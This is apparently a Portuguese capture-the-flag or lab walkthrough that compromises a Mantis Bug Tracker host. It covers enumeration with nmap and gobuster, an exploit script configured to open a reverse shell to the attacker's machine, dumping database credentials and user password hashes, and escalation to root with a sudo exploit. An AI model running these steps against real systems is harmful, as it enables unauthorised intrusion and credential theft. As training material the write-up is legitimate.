Enumeration
Copy # nmap -sC -sV -v -Pn 10.0.0.24
............................
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8888/tcp closed sun-answerbook
Temos um apache na 80, vamos rodar um crowler para achar possível aplicativos hospedados:
Copy # gobuster dir -e -u http://10.0.0.24 -w /usr/share/wordlists/dirb/big.txt
===============================================================
http://10.0.0.24/.htpasswd (Status: 403) [Size: 274]
http://10.0.0.24/.htaccess (Status: 403) [Size: 274]
http://10.0.0.24/admin (Status: 301) [Size: 306] [--> http://10.0.0.24/admin/]
http://10.0.0.24/api (Status: 301) [Size: 304] [--> http://10.0.0.24/api/]
http://10.0.0.24/config (Status: 301) [Size: 307] [--> http://10.0.0.24/config/]
http://10.0.0.24/core (Status: 301) [Size: 305] [--> http://10.0.0.24/core/]
http://10.0.0.24/css (Status: 301) [Size: 304] [--> http://10.0.0.24/css/]
http://10.0.0.24/doc (Status: 301) [Size: 304] [--> http://10.0.0.24/doc/]
http://10.0.0.24/fonts (Status: 301) [Size: 306] [--> http://10.0.0.24/fonts/]
http://10.0.0.24/images (Status: 301) [Size: 307] [--> http://10.0.0.24/images/]
http://10.0.0.24/js (Status: 301) [Size: 303] [--> http://10.0.0.24/js/]
http://10.0.0.24/lang (Status: 301) [Size: 305] [--> http://10.0.0.24/lang/]
http://10.0.0.24/library (Status: 301) [Size: 308] [--> http://10.0.0.24/library/]
http://10.0.0.24/plugins (Status: 301) [Size: 308] [--> http://10.0.0.24/plugins/]
http://10.0.0.24/scripts (Status: 301) [Size: 308] [--> http://10.0.0.24/scripts/]
http://10.0.0.24/server-status (Status: 403) [Size: 274]
http://10.0.0.24/vendor (Status: 301) [Size: 307] [--> http://10.0.0.24/vendor/]
===============================================================
Encontramos uma aplicação de bugtracker no endereço http://10.0.0.24/admin
Exploração
Pesquisando um pouco, encontrei o seguinte exploit para mantis bugtracker:
Vamos baixar o arquivo e editar ele para ajustar as configurações. Basta ajustar os itens marcado em negrito para se adequarem a sua realidade:
self.RHOST = "10.0.0.24 " # Victim IP
self.RPORT = "80 " # Victim port
self.LHOST = "172.29.34.50 " # Attacker IP
self.LPORT = "4444 " # Attacker Port
self.mantisLoc = "/ " # Location of mantis in URL
Agora basta deixar ouvindo a porta 4444 no nosso kali e executar o script python:
Copy # python 48818.py
Successfully hijacked account!
Successfully logged in!/
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
Feito isso, receberemos uma shell reversa:
Pós Exploração
No arquivo de configuração da aplicação /var/www/html/config/config_inc.php, temos os seguintes dados:
$g_hostname = 'localhost';
$g_db_type = 'mysqli';
$g_database_name = 'mantis';
$g_db_username = 'hs';
$g_db_password = 'HackerSecurity2021!!';
Talvez seja útil no futuro.
Este server trata-se de um Ubuntu 20 com kernel 5.4 (está bem atualizado).
Vamos conseguir uma shell mais interativa para facilitar a execução de comandos mais avançados:
Copy $ python3 -c "import pty; pty.spawn(\"/bin/sh\")"
Vamos conectar ao banco de dados do MySql usando as credenciais recém encontradas:
Copy mysql> select * from mantis_user_table;
select * from mantis_user_table;
+----+---------------+---------------+-----------------------+------------------------------------------+---------+-----------+--------------+-------------+-----------------------------+--------------------+------------------------------------------------------------------+------------+--------------+
| id | username | realname | email | password | enabled | protected | access_level | login_count | lost_password_request_count | failed_login_count | cookie_string | last_visit | date_created |
+----+---------------+---------------+-----------------------+------------------------------------------+---------+-----------+--------------+-------------+-----------------------------+--------------------+------------------------------------------------------------------+------------+--------------+
| 1 | administrator | administrator | root@localhost | 5f4dcc3b5aa765d61d8327deb882cf99 | 1 | 0 | 90 | 50 | 0 | 0 | 3fk31HRTpMsoLyce0aY-kYSII0ITMNKfCVigvVEP4Pi7Vm3038DAj_DDEu2XDUjG | 1632598351 | 1600968802 |
| 2 | hackersec | HackerSec | contato@hackersec.com | 1385BEAE6F21020AA38D8A7609588EADCC5A3ECA | 1 | 0 | 55 | 0 | 0 | 0 | I8FPL4Lju6Ot4q3vrpBjYoiGqtUgo01sYGZU-2TQBZkHbMpH03mD4CxxTFtLLxZE | 1600973196 | 1600973196 |
+----+---------------+---------------+-----------------------+------------------------------------------+---------+-----------+--------------+-------------+-----------------------------+--------------------+------------------------------------------------------------------+------------+--------------+
2 rows in set (0.00 sec)
Os passos acima foram apenas coletas adicionais que poderiam agregar valor ao nosso pentest.
Mas vamos ao que interessa: Escala privilégio de root para conseguir as flasg.
Ao rodar o Linux Exploit Suggester, ele sugeriu 3 exploits possíveis:
Basta baixar o Sarom Samedit, ele explora a vulnerabilidade da versão 1.8 do sudo:
Leve todos os arquivos para a máquina alvo e rode:
Copy $ python3 exploit_nss.py
python3 exploit_nss.py
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Somos root!!!!